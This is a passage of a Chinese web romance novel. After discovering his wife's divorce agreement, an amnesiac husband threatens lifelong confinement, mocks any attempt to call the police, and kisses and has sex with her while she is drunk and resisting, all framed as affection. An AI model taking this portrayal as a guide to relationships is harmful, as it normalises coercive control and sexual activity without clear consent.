和两个孩子多聊了会儿有的没的,他才离开卧室,意外发现玄关柜子顶部放着个保温箱,盒盖上方贴有张字条。
【家里太多,本公主赏你一点,爱吃不吃,不吃也塞进胃里,否则杀了你!!!不管去哪出差,肯定是自己带的最卫生,我爸妈做的,还有些奇形怪状的是因为双双】
箱内堆了好些分散打包齐全的馄饨、水饺、包子等冷冻面点。
林瀚睿拎了,还蛮沉。
*
算是人生第一次踏进律师事务所,梁尔璐接连跑了几家物色,才得以跟最终对接的律师交涉沟通完毕,确保离婚协议有被放进包里,她悬着的一颗心松沉。
赶趟似地忙到傍晚时分,她前往地铁站。
按照林瀚睿堂妹数小时之前的聚餐邀请,据说林、炎、盛三家豪门的四个少爷小姐约她吃饭,省得她不适应,也联系了她熟悉到没边的梁奕珩。
梁尔璐如约到了传闻中有钱也难入会员的港岛顶级富豪会所,难怪怕她不适应。
那她也是真的肚子太饿,含泪吃下金钱,等结束一通吃喝玩乐,已是深夜。
盛言顾瞥了眼相继消失在街口的几辆豪车,视线落向车内后视镜中的男女:“我先送姐姐回家,你靠后。”
梁奕珩扶稳他肩头误喝了烈酒的醉鬼:“尔璐,你住在哪?”
“嗯……好像是那个会掉渣的山?像饼干一样掉渣。”
挺远,盛言顾轻嗤:“我们林太子爷原来是把娇藏进了渣甸山。”
梁奕珩愣是没能及时拉住扑向右侧主驾驶位椅背的女人:“哦,你刚才是不是说起太子爷了?我知道!他去出差了!弟弟,你怎么坐在副驾驶开车啊?这是可以的吗?你居然有特异功能!”
他赶忙揽回身旁:“妹妹,他们港人是开右舵车的。”
“姐姐喝多了可爱啊,如果嘴里不提某个人就更可爱。”
“赞同。”梁奕珩就差没竖大拇指。
梁尔璐因汽车平稳行驶的劲儿,越发昏沉,也模糊了男人们在说的什么,朦胧间被轻推唤醒,称到家了。
她皱眉拒绝两人的搀扶,歪歪扭扭远离几步,稳住身形:“我没醉,自己能行!才不靠你们男人……男人真烦!”
偌大客厅沉寂得黑魆魆,宽敞到几乎不沾人气,她凭记忆与夜视能力摸黑前进:“林瀚睿你这个狗东西!又把我一个人丢在恐怖的超级大别墅,狗东……嗯?”
岂料天花板的灯却倏忽雪亮,惊醒她满身酣醉,失声般发不出嗓音。
充斥周身的冷调光线扎眼,径直与她正对的沙发那儿坐了个人。
赫然是本该在出差的林瀚睿。
62.夏日
没管是真或假,卷土重来的酒劲上头,梁尔璐越发生气:“你不是去出差了吗?又骗我?狗东西就是狗东西,不知悔改!”
随即原地怔两秒,笑意迷糊:“不会动,是假的呢……骂完了,好爽。”
转身走向楼梯的同时,一抹暗红掠过她视线,挪过眼就见林瀚睿的指间攥了两本结婚证。
是她一直偷藏的结婚证!
梁尔璐纳闷不已他弄这奇怪阵仗的意图,而男人勾唇之下的声线冷峻:“四年前和我已婚,这七个字是说出来违法吗?”
鉴于刚才痛骂他的新鲜热乎罪证,她深觉悻悻,不由拔高了音量添点气势:“你在说什么!怎么可能不知道我们已婚四年了!你不是故意装失忆,演小三耍我玩吗?我这段时间以来也都很配合你,看看,现在还骗我,出差是假的,演戏才是真!狗东西,你有完没完!”
“我有这么无聊?”
但费劲的大段口舌轻易被林瀚睿六个字击溃。
“我没任何相关记忆,甚至和你女儿验了DNA才知道她也是我女儿。”
他这再次语出惊人,此刻是崩得渣滓都不剩了。
“啊?”梁尔璐脑子宕机几瞬,愣愣回神,“你还在演戏……对吧?还是我喝多了做噩梦?好恐怖!”
谁知林瀚睿并未继续回复,唯独起身朝她靠近,脸容绷紧而显现的正色凌厉。
她倒也没害怕,纯粹是听懵了才下意识接连后退,退无可退时,被男人顺势抵上门板,与他相距微末,不过方寸之间。
梁尔璐难以适应这近在咫尺的受困境地,抬眼怔忡对视:“怎,怎么了?”
她确定林瀚睿目前不带丝毫攻击性,毕竟他毫无醉意却能酿出深切情意的一双眼眸浮漾着笑意。
“女儿让我找猫耳朵发箍,我翻遍卧室,最后犹豫打开你的行李箱,你猜我除了找到发箍,还发现了什么?”
“放着两本结婚证、一份HCG检查报告,以及保存领证跟拍照片视频的U盘。”
是这些……梁尔璐浅叹了口气:“我是因为父母藏的,放行李箱四年了,就像在家藏你给我的戒指和婚书,我怎么会知道你真的失忆了。”
“四年前我们吵架,你自己想通了不再关我,送我回家,所以我那行李箱是你整理的,很显然啊,文件袋被你混进衣服里了。”
误喝的烈酒挺凶,神志时清时浑,她依然醉到昏沉,哪怕正靠着硬实的门,只能拢眉揪住林瀚睿衣袖来站稳些。
梁尔璐猜男人估计是觉得都老夫老妻了,她这点到为止的举动太见外,干脆长手一捞贴了腰,令双方相拥。
“笨孔雀!你动作别这么大,我很晕的。”得知和她已婚的孔雀果然更会开屏了……
支他肩头缓回劲,她想推开人上楼,听到林瀚睿一声莫名喑涩的“宝宝”。
“Rosalind发了聚餐照片给我,你不知道自己喝醉了发酒疯有多可爱?怎么能在别的男人面前……”
她顿时茫然,又没特意对着镜子发酒疯:“我,我不知道啊。”
梁尔璐算是习惯了男人吃醋期间总会持续收紧触碰她的力道:“所以你失忆是因为脑子受过伤?”
“双相情感障碍导致的躯体化症状。”
“哦,我会努力治你的。”因林瀚睿视线落在别处,她攥紧垂在腿侧的包。
那之后就得把离婚协议藏好了,原本就是趁他出差才敢带回这文件,先隐瞒了再做打算。
思绪正飞远,她却惊觉身前的拥抱松远了些,抬头后恰对林瀚睿担忧与探究共存的目光。
“你很紧张,在走神。”
“我……没。”实际上这稍一出口就彻底漏空了情绪,还不如装聋作哑,梁尔璐悔得强装镇定。
慌乱似在心底结网,丝缕蔓延,她刚往旁边迈开几步,显静的空间内骤然响起门铃,嵌在墙面的电子屏幕内出现梁奕珩。
梁尔璐退得重新抵靠门板,一时分不清是男人流露的神情难以言喻,又或是她受惊失去判断能力。
随着铃声停息,他说明来意:“尔璐,你忘了拿离婚协议,应该是你走的时候掉进车椅子下面。”
刺挠的字眼迅疾掠过耳畔,林瀚睿拧深眉宇,低眸睨向梁尔璐低头翻包的慌乱模样,见她难以置信的脸色恍惚滞顿,使劲抓牢的包因此沉沉坠地,牵连得喃语颤栗。
“怎么会……”
门铃也迟疑地再度响起。
他充耳不闻,手掐住女人下颌,五指控力之际强势朝上抬高。
梁尔璐频频生出畏怯心理,如山般堆叠到她眼睫惊颤扑簌,本就虚浮的力气似被霎时抽空,没敢多直视半秒林瀚睿冷厉如锋刃的脸容。
而吻势转瞬汹涌,男人同她额首相抵,蕴欲稠浓的双眸晦深。
眼眶中湿濡的腻感泛滥不止,她逐渐看不太真切,指尖劲掐掌心而企图清明的的努力徒劳无功,只能任由林瀚睿将她狠拖深入双方交缠淆乱的呼吸漩涡之内。
林瀚睿在她绵软力道剧烈推拒的间隙,恶劣着多拖延了短暂而漫长的几秒,方才松开她:“你说得对,小三我做了,没有比这更疯的事。”
他敛下些许作祟的情绪,凝视此刻正垂头贪婪汲取氧气的梁尔璐,伸远的指骨落向门把手,嗓声抑得沉冷:“看着我,像看我哥那样看我。”
女人似乎没听见,掺入醉意的昏沉状态堪忧,全靠他撑着才勉强能站。
久久无法得到回应,林瀚睿咬实后槽牙,将晕乎惊怕的她扶坐下,就打开另半扇门。
并未完全大敞,可供一人容身的空隙偏狭窄。
梁奕珩正转身离开却听见动静,回头察觉竟是据说出差了的林瀚睿,便收回险些脱口的“尔璐”。
二人面对面,区区一步之遥。
林瀚睿眼看他面部惊讶迟迟不褪,了然地扯唇衔笑:“哥哥,这么晚了,找我媳妇?”
也顺手夺过梁奕珩后知后觉才想藏去身后的一册装订文件,对上方“离婚协议”及甲乙方姓名的字样扫去眼风,抬眸不以为意地与他平直对视,片刻就松了捏紧的指腹,随意令协议砸地。
深更半夜的倒是热闹,他瞥望不远处站在车旁的冷脸男人:“哥哥的妻子,你应该称呼什么?”
只换来一句盛言顾的“姐姐”,不屑值拉满。
“小迷糊。”林瀚睿轻飘飘回复了这声对峙,向阴沉了神态的梁奕珩递过一抹笑,关门蹲去女人身前,“姐姐,你不会用这种眼神看着我哥的。”
梁尔璐惧他弯着些良善弧度的虚伪五官,抱膝的双手愈发用劲:“你为什么不反省自己?”
“我反省过了,每一次的结论都是,改不了对你的占有欲,死都改不了。”
的确不是初次听男人说这三个字,她寻思保命要紧:“跟你结婚离婚的事,我只跟仪仪说过,昨天吃夜宵时才刚刚……的。”
“撒娇也没用,所以你想说明什么?”
他也总说这五个字。
梁尔璐看穿林瀚睿明知故问的样子,硬着头皮出声:“你刚知道和我已婚,但还没高兴多久,我就打算和你离婚了,而且是你哥先知道这些事……前一半是对的,后一半……我,我真的没告诉他!”
“宝宝,你犯罪了吗?怎么像在拼命解释,争取给自己减刑?”男人喉结轻滚,随即响了声短促却意味深长的笑嗓。
“我……”她有苦难言到极点,今晚这么栽在他手里,跟犯罪有什么区别?死定了。
不安的心几乎悬到齿关,猛烈着亟待扑出,她添话:“可我根本没想到你真的失忆,不是故意的,你不能怪我,而且吧,其实我也没打算今天就找你提离婚的。”
“今天还是哪天存在区别?宝宝的意思是说不定某一天就不想和我离婚了?”
简直是未曾设想,梁尔璐倏地傻愣。
“看,你犹豫了,因为完全没考虑过这一点。”
无情戳穿她所想的男人显然是气笑了,逡巡般使人胆寒的视线下挪:“说多错多,宝宝可以闭上这张招人欺负的嘴了。”
好的。
她垂眸低低呜咽一声,老老实实闭嘴,喝酒果然误事……
“看着我。”
憋屈心理正浓,她被林瀚睿这命令意味深重的口吻打断,仰头顺从他。
“老婆,小三游戏结束了,今晚我陪你玩法官和罪犯的游戏吧,会更有趣。”
梁尔璐睁大眼,立刻抵住他并没有靠近分毫的胸膛:“我喝多了,没力气!”
“不需要,我还不够惯着你?哪怕是关你一辈子,对我来说也不算什么难事,报警?你不可能有机会的,可惜我不愿意真让你变成空洞破败的玩偶娃娃,偏就爱你这一身不服我的犟骨头。”
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控制距离的手腕忽然遭男人攥入掌心,牵带她往前一纵,错愕犯懵。
“宝宝,我已经对你很温柔了。”
梁尔璐极力忽略林瀚睿落在她耳后的温热气息:“去学你哥是怎么惯着我的!”
谈崩了呗,横竖都死定了,她才不收脾气。
颈窝两排牙印的刺痛鲜明,林瀚睿小幅度眯眸:“太麻烦了,不如这样?我们玩游戏的同时,由你亲口告诉我,他这漫长的二十二年以来都是怎么宠你的,如果你不说就会受到惩罚,加倍。”
深陷的唇齿没停歇太久,他抬高梁尔璐的下颌,凝看她神色倔强地蹙拢了细眉,尽管脸颊被捏得檀口微张,稍露莹莹贝齿:“真美,我恰好有礼物送你。”
*
卧室重归冷清。
林瀚睿无声坐床沿,注视被窝内累极睡沉的女人,而后轻缓起身。
捡回家门口因夜风吹开了几页的离婚协议,他上楼转道去影音室,一把将这卷废纸扔进垃圾桶。
影音室内置的家具只有一组沙发,直直相对的整面墙高挂巨幅幕布,使得空荡平方愈显宽大。
U盘内满是领证跟拍的照片,他选中一个视频播放。
毋庸置疑,画面里是自己在结婚,而林瀚睿表情淡漠得似在看陌生人。
不记得。
他什么都不记得。
挣扎却足够贫瘠,他舒展少许眉心,从睡衣口袋拿出一串链了球的澳白珍珠项链,正中最大一颗主珠的粉润光晕在视频光线辉映下,流转得贵气,却也浮艳。
直径二十毫米的澳白珍珠已算极限与稀有,但仍是小了些。
果然,珍珠配她,极衬。
林瀚睿放回项链,抽离手之后无所谓着抹掉几个指尖沾染的湿润,他倒带视频进度,重新开始观看。
甚至没过几秒,房门被从外打开。
是抹眼泪的梁尔璐,泣音偏弱:“你家好大,我一个人不敢住,找了你好久。”
女人似乎全然没听见领证视频的响动,独独挟了醉意走近,乖巧坐来他腿边的石质地板上,侧身倚靠部分沙发,抬仰了盛满笑意的脸盯他。
林瀚睿愣多了会儿,怔怔暂停视频:“怎么……”
但末尾字由梁尔璐截胡:“林北北,你刚才给我吃的是什么糖啊?”
他难免哭笑不得,轻柔了嗓声逗弄:“糖?你怎么不问我刚才给你喝的是什么水?”
“你明明就有给我吃糖!”梁尔璐迷惑皱眉,怎么好像隐约听见林北北哄着她让含住,就喂来一颗冰冰凉凉的糖,但总堵住,出不去也下不了,害得她有点合不拢嘴,难以说清楚话。
林瀚睿琢磨她小迷糊般的表情,倘若真印象深刻,他倒也不在意:“你在做梦?”
“啊,那应该是噩梦吧。”
“宝宝,我怎么记得你之前趁我喝醉,往我头上折腾了什么?会发出铃铛的响声,对,就像我们女儿那个猫耳朵发箍。”
“你也在做梦啊?”梁尔璐显然是醉得仿佛失忆,面容何其无辜。
他见状挑眉:“看来是的。”
“梦里你还说了一句……”她不太确定,“你的皮肤也泛粉色”?
林瀚睿顺势接这话茬:“我说了什么?”他在床上话不多,真是方便小醉鬼记忆了。
“忘了,嗯,糖呢?你为什么要藏起来?小气鬼!珩仔就不会这样的。”
实在佩服她锲而不舍的精力,包括屡次吃亏却仍然没长记性的口不择言实力。
“原来我哥这么爱你。”林瀚睿合眼复睁的一瞬,眸色透出玩味,“没错,我把糖藏起来了,在这里。”
他倾身俯低些,拉过梁尔璐的手,进而共同伸向近处的睡衣口袋,但仅仅将人掌心压覆在浸润的外侧布料,不允许这五指多动半分。
“糖是融化了吗?”
“没融化。”勉强还算有点做人的耐心,林瀚睿有问必答,也柔化全身和语气的棱角,哄她,“地太凉,坐沙发上,再吃几颗?”
他简单按一通投影设备的遥控器,幕布上明亮画面顷刻间转到了与之相连接的影音室监控摄像头。
天花板四周内嵌的零星几盏昏昧小灯悉数亮起。
林瀚睿平复唇角没掺多少温感的弧度,眸意嘲得生凛,揽腰扶稳视频画面中因暗淡环境而险些摔倒的女人。
63.夏日
连续宿醉,梁尔璐有了经验,因此天明睡醒时足够冷静,哪怕转头就瞥见了陪床的林瀚睿,也没太大反应。
但明晃晃放在床头柜上的珠宝最吓人。
“狗东西闭嘴……”她起身,将这珠光宝气捞进手里,拎着示意此刻淡然咽回话声的男人,“既然你的态度是休想离婚,那你休想用一串澳白珍珠项链哄好我。”
他却似乎不为所动,只是兀自端起一碗热腾粥,且极有耐心,直到向她递近纳凉的半勺。
清楚他坚决不收的架势,梁尔璐憋闷配合,打量抬高在指间的澳白珍珠,流溢淡华的粉光细腻温润,个头还都蛮大,俨然是珍珠届的奢侈品。
怪就怪在设计,整圈里一颗独大,虽然差得不太明显。
“只是两厘米的一颗澳白,其余全是些18mm的,整体不夸张,你可以看做是对于富太太来说根本微不足道的普通项链,权当摆设。”
她忍住嘴角略抽的冲动,试图消化林瀚睿对于“普通”的理解,见男人放下碗,顺势从床头柜抽屉取出个首饰盒。
“戴这串通体19mm的。”
甚至是通体肉眼可见无暇且圆润饱满的珍珠,散发了绸缎般冷银色珠光。
多少?
梁尔璐正琢磨这种品质的收藏价值,以及能得到它的人脉实力,目光猝不及防与凑近她戴项链的男人交汇。
她撇开些头,迅速适应颈间偏凉的触感,毕竟林瀚睿的手温更冷,衬出他吐字间倾洒的呼吸愈发灼烫。
混账话欠揍:“没给你留吻痕。”
所以这狗东西不是报复性地留在其它一些地方了么……
“刚才让你闭嘴了!”她不顾耳根子熟透,后仰离远着恼火瞪看。
腰侧打皱起褶的睡衣摆受到他小力扯平,梁尔璐连忙拉过被子盖住这区域,不适拧眉:“别掐……”
而偏哑声线在这一句上显得尤为暧昧,她匆忙捂嘴。
痒先不提,昨晚被林瀚睿手掌把扣过太久,仍然泛酸,导致他刚才略微碰到,几乎是条件反射地喊出这话。
抬头察觉他也犯愣,沉默收回手,取下首饰盒正中嵌的一枚戒指:“20mm单珠戒指。”
梁尔璐注视珍珠周围成圈的无色钻石,满眼都是钱,独独一根无名指难以承重:“我不要当富太太。”
“你只是不要当我的太太。”
男人抬眸勾起唇梢笑意,反驳的嗓音平静,她露怯皱皱脸:“我明天就要去研究所上班,你别欺负我了。”
他却恍若未闻地关拢首饰盒,毫不出声搭睬,只继续舀粥。
梁尔璐咽口唾沫,急中生智:“你家居然还有会做广式生滚粥的厨子,一看就是擅长煮粥底的,专业。”
“哦?这么狗腿子地夸我。”
既然有笑的成分,她稍微放宽心,继续扮狗腿子弯起眉眼:“谁让你不说话,我经常看不懂你在想什么。”
但假使林瀚睿真按照她的要求退让了,其实会让她更不安,因为这狗男人之后必定变本加厉地讨要回来。
“这个月二十二号办婚礼。”
“这个月二十二号打官司。”得寸进尺太过分,她必须呛回去。
怎么听都没攻击性,林瀚睿满意她隐忍吃下粥的乖顺:“你可以试试,绝对没律师敢接,无论如何都打不起来,这对公司而言是一桩丑闻,婚事却相反。”
“是个瞎子见了你有四岁的女儿,就算不清楚你是在守孝期内结婚,也绝对是在守孝期内做了什么好事,这丑闻难道不是更严重?”
他捋清女人错漏成筛子的逻辑,哑然失笑:“宝宝,为什么没可能是在长辈去世之前就已经和女人做.爱?实际上的确如此,我们还有HCG检查报告这如山铁证,但祖父死后,我们再也没睡过,时隔四年才继续,是个瞎子都清楚显然已经过了三年守孝期。”
堪称无懈可击的事实,梁尔璐愣怔回过味来,脸烫得气急败坏:“你说话能不能纯情一点!”
“这些话很露骨?幼稚园级别而已,怪我在床上不说更羞人的,下次讲给你听,不过你怎么变傻了?”
“不准说,我只和哑巴睡觉!”她压下熊熊燃起的杀心,双眼淬毒般剜向林瀚睿,“我也不傻,就是头晕没力气,没胃口。”
床头柜抽屉仿佛百宝箱,她眼看男人从中拿出的体温计远离了自己额头,动作无比利落。
“低烧,你是医生,自己没意识到?”
梁尔璐寻思是真傻了,但本就全身酸疼,谁还管得到这么点细微热度:“你自己去反省。”
“sorry,短期内不睡你了。”
没调静音的空调运作声响戛然,簌簌冷风忽地对她劈头盖脸灌来,僵得人难以置信。
她努力措辞,省得痛骂他:“闭嘴!我让你反省这个了?不是……虽然也是这个原因,但我意思是你的体温偏低,所以哪怕是我低烧,也几乎感觉不到我变烫了点,反正都是比你热,我早就说过你这太子爷不会照顾人。”
语气挺凶,却完全没影响他恋爱脑的发挥:“在学了,我会照顾你一辈子。”
想把林瀚睿的脑子旋下来当球踢远,梁尔璐默念几遍“遵纪守法”,微笑:“狗东西听不懂人话吗?我之前已经说过了,这辈子绝对不和你谈第二次恋爱!”
说实话蛮饿的,她张嘴享受男人的喂粥服务,小小一勺内,牛肉的量却占多数,随即目光自然而然落去林瀚睿挑拣着舀同款下一勺的认真神情。
他嗓音叙得轻缓:“婚姻中唯独怕感情淡了,过成无趣的生活搭子,斗嘴没什么不好,最好斗到老,一辈子都是我们的热恋期。”
“我才不要跟你热恋!出去,我要睡觉了,否则见你一次打一次。”梁尔璐现在想解剖他这恋爱脑的构造了。
“饿肚子睡不行,你先自己喝完粥,我前后熬了几个小时,光是提前处理制作粥底用的珍珠米就耗费数小时,你不能浪费粮食。”
究竟是态度强硬地不允许她浪费什么……她无语林瀚睿为此拉扯的正能量借口,伸手端过碗。
粥被他献宝似挑剔得佐料没剩多少,梁尔璐连续多喝了几口咸香的纯米粥,才顺眼好些,听人新开话题。
“低烧是不是没必要怎么干预?”
看来不会照顾人的太子爷勉强也有点常识,她顾自填饱肚子:“嗯,先观察再说,反正家里也有药,你就别担心了。”
“你说了‘家里’对吧?宝宝,我确实很担心你。”
两句纷纷冒了粉红泡泡的话惹她抬头,迅速挪远了碗,生怕甜滋滋的泡泡落入其中:“你的恋爱脑有病就去治,而且,有这时间还不如担心担心你自己纵欲过度的身体。”
男人沉默稍许,定定凝看她的眸色泛亮:“我还记得和你重逢那天,你泼人酒的模样。”
那真巧了,她也记得林瀚睿这眉眼含笑的神态:“姐姐让你兴奋了,是吗?难怪我之前打你一巴掌时,你也这副被打爽了的神经病样……为什么呢?你这狗东西怎么又有s感又抖m的,抱歉,我是骨伤科医生,治不了脑子。”
“脑子里也有骨头,宝宝,你已经很多天没打我了。”
没见人提这种要求的,梁尔璐深呼吸:“啊对对对,你想得没错,因为我不爱你了。”
嘴不饶人是一回事,她心底里怕得很,匆匆避开林瀚睿虽同样在笑但已变为另种情绪的五官,老实招呼粥碗,只是碍于胃口差,无法执行脑子下达的命令,完全吃不快。
而男人径直投来的深切目光太难忽视。
“你不去出差了吗?”
“这么赶我,可以线上处理。”
什么话?她倏地目瞪口呆:“不是你想的那样!因为被人盯着吃饭很不舒服啊。”
梁尔璐放弃探究他微眯一瞬的眼眸里盛了哪种意思。
“看来是真的,毕竟你演技烂。”
被小看了但早已习惯,她弱弱撇嘴,望向林瀚睿离开的背影:“那请顶级豪门太子爷给我报个补习班呗?”
硬吃完一碗粥,她睡回笼觉,只是据他说整天都在反复低烧,入夜后尤其严重,睡眠质量好到再醒已是第二天清早。
林瀚睿将她做梦都出现的电子温度计试在额头,眉头凑拢:“又退烧了。”
睡饱了,梁尔璐特别精神地张望窗外昼亮天光:“几点了?研究所朝九晚五,你们公司是八五,该去上班了吧?”
“七点多,你要么请假?”
“才多大点事啊,娇气。”她仗着体质好,从小就喜欢和病逆反,“上班第一天就请假,原本已经是关系户了,你先去上班……”
而打断她的严肃男声几乎异口同声:“我送你,八点半左右。”
“林老板,你今天该不会是要迟到早退吧。”
毫无疑问的陈述语气,随即得他点了个郑重的头。
她想起翁秘书之前吐槽林瀚睿完全就是人形行程表,固执到半秒都不可能出现偏差,甚至经常提前完成工作,效率一绝。
果然,恋爱脑没救了。
睡多了骨头也累,梁尔璐打算下床洗漱,踩去地面的右腿却毫无力气,害她摔得前倾,暂时处于腿像消失一般的惊恐中,她后知后觉居然把伸手来扶的林瀚睿扑倒在地。
傻眼与不明所以又肩背吃痛的男人对视数秒,她简直欲哭无泪,着急捂脸:“我不是故意的……有一条腿没知觉,睡久了。”
手臂上施加来搀扶起身的力道,令她顺势靠向林瀚睿的怀里,随即见他手法不得要领地隔着睡裙,轻力按摩腿。
“不用了,它自己会好的。”梁尔璐慌得要命,身上痒痒肉比较多,控制住了才没从齿关溢出多大动静,也压下一些颤意。
省得尴尬,她转过脸抵在林瀚睿肩头,不忍直视。
救命,死腿快动啊!
林瀚睿没懂女人此刻濒临崩溃的心理状态,视线余光精准发现她恢复了些知觉而微挪的腿,但同时听清耳侧几声莫名其妙的哭声,完全能随意动的左腿也缩拢了点。
他稍愣,而后揉抚梁尔璐后脑勺的发绺:“别哭,只是外面。”
本来就仍感觉囊囊的,指骨缠一层轻薄衣服布料往前送,显然更拥挤。
她扭眉不满:“还是里面吧。”
这狗东西却直接一纵,梁尔璐恼他装傻的恶劣:“喂,不是这个里……”
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林瀚睿略敛的眉峰浮涌异色,清晰感知她紧揪他西装衣襟的手越向了肩后:“乖,别咬自己手指,不是离我的脖子很近?”
颈侧遭到啮合的劲道,他闷笑一声:“都老夫老妻了,也对,我们是小别胜新婚。”
随即抱稳跌下的梁尔璐,安抚她觉得丢人而更加自暴自弃的哭泣:“没关系,这很正常,我是做酒店服务行业工作的,乐意为你效劳。”
虽说嗓音哭软了,她照样能犟:“你脑子有病就去治!”
“老婆过河拆桥的耍赖样子也这么可爱,不能怪我是恋爱脑。”
捂耳朵遮挡林瀚睿的笑腔,她忿忿推开人,幸亏可恶的腿能动弹了,便扶了床沿站起,抬着些柔乎的脸瞪他:“杀了你!”
*
气难消,梁尔璐偷偷溜出家打车上班,但下班时没能躲过他的车,似笑非笑逮住她的男人则迎来一句“还低烧”?
她忙着系安全带,没空抬头搭理这关心:“没啊,拜托,你今天都问了我几遍了?过百了!完美赶超你哥四年前的记录……弄得同事还以为我和你真的处在腻歪热恋期。”
“教授说你不舒服。”
“哦这个。”依次确保包里放的物件没落在研究所,梁尔璐续话,“我是故意说生病了,自动远离他们,省得团队那些人因为扔我边缘化简单小活,读作捧我,写作晾我的行为,担心惹不起你就内耗,总之你少管。”
视线对上林瀚睿拨转的方向盘,她及时提醒:“开去我家,有工作问题,过不过夜随你,只是你放一百个心,珩仔绝对不会把结婚的事告诉我爸妈。”
车子适时拐弯转道,窗外响过周边其余鸣笛音,她不确定男人是否生笑了半声。
“我该怎么教会你,连名带姓叫他。”
醋劲仿佛拧成了一股绳,酸液随之飞溅地波及到梁尔璐:“那我叫他,哥哥,反正是丈夫的哥哥。”
男声称得上起伏浅淡,却冷硬得不容置喙:“连名带姓。”
“那我就在你面前连名带姓叫他,背着你喊他珩仔,这总开心了吧?”
“那我开心,你也会开心吧。”
怎么可能听不懂言下之意,梁尔璐悻悻咽口唾沫,不再故意激惹他:“请您伤心一点。”
这是威胁!
狗东西吃醋生气了,她就倒霉,谁倒霉会开心啊……
座位旁的沉默持续,林瀚睿偏头探了眼女人鼓起的腮帮子,显然不再有捣乱的高昂兴致:“下次陪你玩久一点。”
梁尔璐对窗无聊望看街景,左耳进右耳出:“你这个人真没意思。”
“所以你其实很喜欢和我斗嘴,喜欢和我过热恋期。”
趁窗户紧实,她冲着林瀚睿投映在玻璃上的含笑侧脸,亮大嗓门:“杀了你!我喜欢当寡妇!”
“在车上杀我容易变成殉情。”
“你!”说得在理,梁尔璐闭眼深呼吸,使劲冷静,“那我就挑一个良辰吉日佳景。”
但他几乎是即答:“这个月二十二号,吉日。”
情绪热切地让她直直陷入沉默,婚嫁吉日是吧。
本不该给予恋爱脑任何眼神的,可惜她快被逼疯了,行为不听理智指挥,转身便捕捉到男人再度启唇。
“前一天是农历十八,也算吉日,又谐音发财,适合订婚,所以办婚礼的二十二号是农历十九,好兆头,我们绝对会长长久久的。”
敢情是为了展现对老黄历的研究态度,精神可嘉。
梁尔璐哑口无言,给面子地干笑两声,注视自己手心的财神爷手机壳:“你真的土死了,而且在晦气的分手日子办婚礼,也是全宇宙就你一个奇葩了。”
不,是一个怨夫。
“你做过调查?不够严谨,三千宇宙内从来都不缺恋爱脑。”
满耳充斥林瀚睿不屑一顾的腔调,她晃脑子清空:“我倒要看看你怎么在二十一号之前说服我爸妈。”
车减速,逐渐驶近红绿灯口,怪煎熬的漫长车程,梁尔璐狠狠盯前方,发挥纯恨战士的无差别攻击实力,恨极了红绿灯。
果不其然,林瀚睿那张聒噪的嘴再没闲住。
“你爸妈很难说服?”
“和你一样嘴硬心软。”
“闭上眼睛,给你看个东西。”
这必然得百分百遂他的愿,正好眼不见为净。
凭声睁开眼,入目竟是头戴猫耳朵发箍的男人,此刻稍稍歪头,毛绒耳内侧倾悬空的铃铛霎时清脆。
伴随他坏里坏气的笑嗓:“眼熟吗?姐姐。”
梁尔璐惊慌失措,赶忙将瞬间攥紧的手机藏去身后。
也不懂女儿当初怎么就偏要买这不像儿童玩具的成人暧昧物件,关键是她一个已婚妇女之前还用着欺负了丈夫,如今被回旋镖完美扎中。
受欺负的男人眼下正神色了然,揶揄她:“难道说,姐姐这是做了坏事,又亲手留下了罪证?”
“我……我我不删!绝对!”被抓包了还删光,她不得亏死?
林瀚睿却摇头,眸中倏忽跃上璨然笑意:“没让你删,知道你喜欢这样的我。”
“所以我在讨好你,老婆。”
64.夏日
好耀眼,像金毛犬。
梁尔璐愣怔着缓速眨眼,回神时浇蔫了他这热烈松软的模样:“咦,小女子何德何能,怎么配让太子爷您伏低做小呢?”
引发气氛故障的猫耳朵发箍自然也不容放过,她迅疾地抬手摘下:“幼不幼稚……你别跟小孩子抢玩具。”
这动作中携的劲道偏大,迷茫皱眉的林瀚睿应该是痛到,随即舒展了忍耐的幅度去握方向盘开车。
男人头发乱了。
像打滚撒娇之后的小狗。
怀疑被他的恋爱脑传染,梁尔璐深呼吸。
却见林瀚睿凝神关注周边路况,嘴仍然落不得闲:“你喝醉那晚,我岳母也对岳父泼了一盆冷水,但足以证明他们的恩爱。”
言下之意昭然若揭,她佩服:“你是懂怎么把自己哄好的。”
车内又响铃铛声,梁尔璐迟钝察觉男人拿回她虚虚握住的发箍,放入双方之间的扶手箱内,侧脸轮廓因笑意减淡了凌厉感。
“女儿是让我找这玩具的,理应由我亲自交给她,涉及做父亲的诚信问题。”
“闭嘴,开车时不要聊天。”借口!请问刚才是鬼趁机捏了她的手吗?
直至踏进家门,她都没再听林瀚睿出声,静得仿佛身旁失去人类呼吸……
梁尔璐毫不搭理这故意装可怜的惯犯,招呼了经过客厅的父亲,男人面色讶异,却显然只是因为她,完全当她肩侧站着个透明人。
“妹仔,你怎么不早说要回家?但还来得及,我去接你妈咪,顺带买点烧烤。”
她接连几度抿唇忍笑:“这不得把你外孙女馋死?双双不会又跑楼上去了吧?”
“晚饭也楼上吃,对了,厨房里还有高压锅烧着,你记得关火。”
“开车小心哦。”点头应下父亲,梁尔璐瞥看林瀚睿认真贯彻不在场的态度,嘴角实在难压。
只是女儿不在家,到底是挺尴尬的,原本还能因此说“你去陪女儿,她比我更喜欢你”,赶走他这块牛皮糖。
也就没管男人亦步亦趋随她走进厨房:“所以你跟上来干什么,一团空气似的,甚至空气还不会被我爸嫌弃,我家还有不少相册,你自己去书房看妈咪。”
而林瀚睿照旧沉默,面廓中难掀波澜的清净消褪,投来深凝眸色。
“我哥给的那个音频文件里,她只给我留了两句话。”
“别让你爱的人变成妈妈这样。”
“别怨你爸。”
“交给我哥,是因为我哥受她嘱托,担了对我的监督者身份,只有必要时才让我知道第一句警告。”
“收回你看尸体的眼神……我是活的,你要摸摸看吗?”意识到胡言乱语,梁尔璐局促退后几步,“我妈以前总和我说起闺蜜往事,现在想想,你妈咪绝对不是那种没救了的恋爱脑,所以你得听她的话,亲子之间沟通真的太重要了!”
恍然回忆着什么,她拍手:“就算盛家太子爷没提醒,我凭借之前去过你家的唯独那一次,就知道你家有问题,如果一家人连吃顿饭都没办法舒服,我不知道该说什么了,总之幸亏你女儿是在外婆家长大的。”
林瀚睿的表情已趋向平和,但她难以言喻流露的具体情绪。
话题显得过分严肃,梁尔璐火速绕开:“所以妈咪怎么会生出你这种没救的恋爱脑!”
清晰可见男人寡淡的神情此刻漾了些笑弧:“怎么不能?除了遗传也有变异,更何况万一我爸也是恋爱脑?”
